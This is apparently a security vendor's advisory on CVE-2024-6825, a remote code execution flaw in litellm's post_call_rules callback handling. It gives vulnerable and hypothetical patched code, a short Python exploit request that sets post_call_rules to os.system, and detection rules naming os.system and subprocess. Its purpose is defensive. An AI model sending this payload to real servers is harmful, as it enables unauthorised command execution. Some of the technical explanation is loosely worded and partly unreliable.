CVE-2024-6825

Executive Summary

CVE-2024-6825 is a critical remote code execution (RCE) vulnerability in BerriAI/litellm version 1.40.12. The flaw resides in the handling of the post_call_rules configuration, where an attacker can inject a callback function that is dynamically imported and executed. By specifying a system method such as os.system, an attacker can achieve arbitrary command execution when a chat response is processed. The vulnerability has a CVSS score of 8.8, indicating high severity, and no official patch is currently available. This report provides a comprehensive technical analysis, detection methods, and exploitation details.

Supply Chain & Package Security

This vulnerability affects the PyPI package litellm. Organizations using this package should immediately review their dependency tree and ensure no vulnerable version is deployed. The lack of a patch means that supply chain security is critical; consider pinning to a safe version or implementing runtime protections.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is critical due to the low complexity and no required authentication, allowing unauthenticated remote attackers to execute arbitrary commands on the server.

Deep Dive & Mechanics

The vulnerability exists in the post_call_rules configuration of litellm. When a callback function is added, the code splits the provided value at the final . character. The last part is treated as the function name, and the remaining part is appended with .py and imported dynamically. This allows an attacker to specify a Python module and function, such as os.system, which is then imported and executed. The attack flow is:

1. Attacker sets post_call_rules to a value like os.system.
2. The code splits at the last ., resulting in module os and function system.
3. The module os.py is imported, and system is called with the chat response as an argument.
4. Arbitrary commands can be executed by controlling the chat response content.

Vulnerable vs. Patched Code

Vulnerable Code (litellm 1.40.12):

def apply_post_call_rules(response, rules):
    for rule in rules:
        parts = rule.rsplit('.', 1)
        module_name = parts[0]
        func_name = parts[1]
        module = importlib.import_module(module_name)
        func = getattr(module, func_name)
        response = func(response)
    return response

Patched Code (Hypothetical):

def apply_post_call_rules(response, rules):
    allowed_modules = ['litellm.callbacks', 'custom_callbacks']
    for rule in rules:
        parts = rule.rsplit('.', 1)
        module_name = parts[0]
        func_name = parts[1]
        if not any(module_name.startswith(allowed) for allowed in allowed_modules):
            raise ValueError("Unauthorized module")
        module = importlib.import_module(module_name)
        func = getattr(module, func_name)
        response = func(response)
    return response

The patched version restricts imports to a whitelist of allowed modules, preventing arbitrary system calls.

Exploitation & Lab Setup

Red Team

Exploit Code:

import requests

target_url = "http://target:8000/chat/completions"
payload = {
    "model": "gpt-3.5-turbo",
    "messages": [{"role": "user", "content": "id"}],
    "post_call_rules": ["os.system"]
}

response = requests.post(target_url, json=payload)
print(response.text)

Explanation: The attacker sends a chat request with post_call_rules set to os.system. When the response is processed, os.system is called with the chat response content (e.g., "id"), executing the command on the server.

Blue Team

Detection Steps:

1. Monitor for unusual post_call_rules values in API requests.
2. Log and alert on any import of os, subprocess, or other system modules.
3. Use runtime application self-protection (RASP) to block dynamic imports of dangerous modules.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing post_call_rules with values like os.system, subprocess.call, or similar.
• File System: Unexpected .py files in the litellm import path.
• Process: Unusual child processes spawned by the Python interpreter (e.g., id, whoami).
• Logs: Error logs showing failed imports or unexpected module loading.

Detection Engineering

YARA Rule

rule CVE_2024_6825_LiteLLM_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-6825 in litellm"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $s1 = "post_call_rules" ascii wide nocase
        $s2 = "os.system" ascii wide nocase
        $s3 = "subprocess" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: CVE-2024-6825 LiteLLM RCE Detection
id: 8f9a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP requests with malicious post_call_rules values
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'post_call_rules'
        cs-uri-query|contains|expand:
            - 'os.system'
            - 'subprocess'
            - '__import__'
    condition: selection
falsepositives:
    - Legitimate use of custom callbacks (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6825 LiteLLM RCE Attempt"; flow:to_server; content:"post_call_rules"; http_client_body; content:"os.system"; http_client_body; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the post_call_rules feature if not required.
2. Short-term: Implement a whitelist of allowed callback modules and functions.
3. Long-term: Apply the official patch once released by BerriAI.
4. Compensating Controls: Use Web Application Firewall (WAF) rules to block requests containing dangerous callback values.
5. Monitoring: Enable detailed logging for all API requests and monitor for suspicious patterns.

Valters IT - Securing Digital Frontiers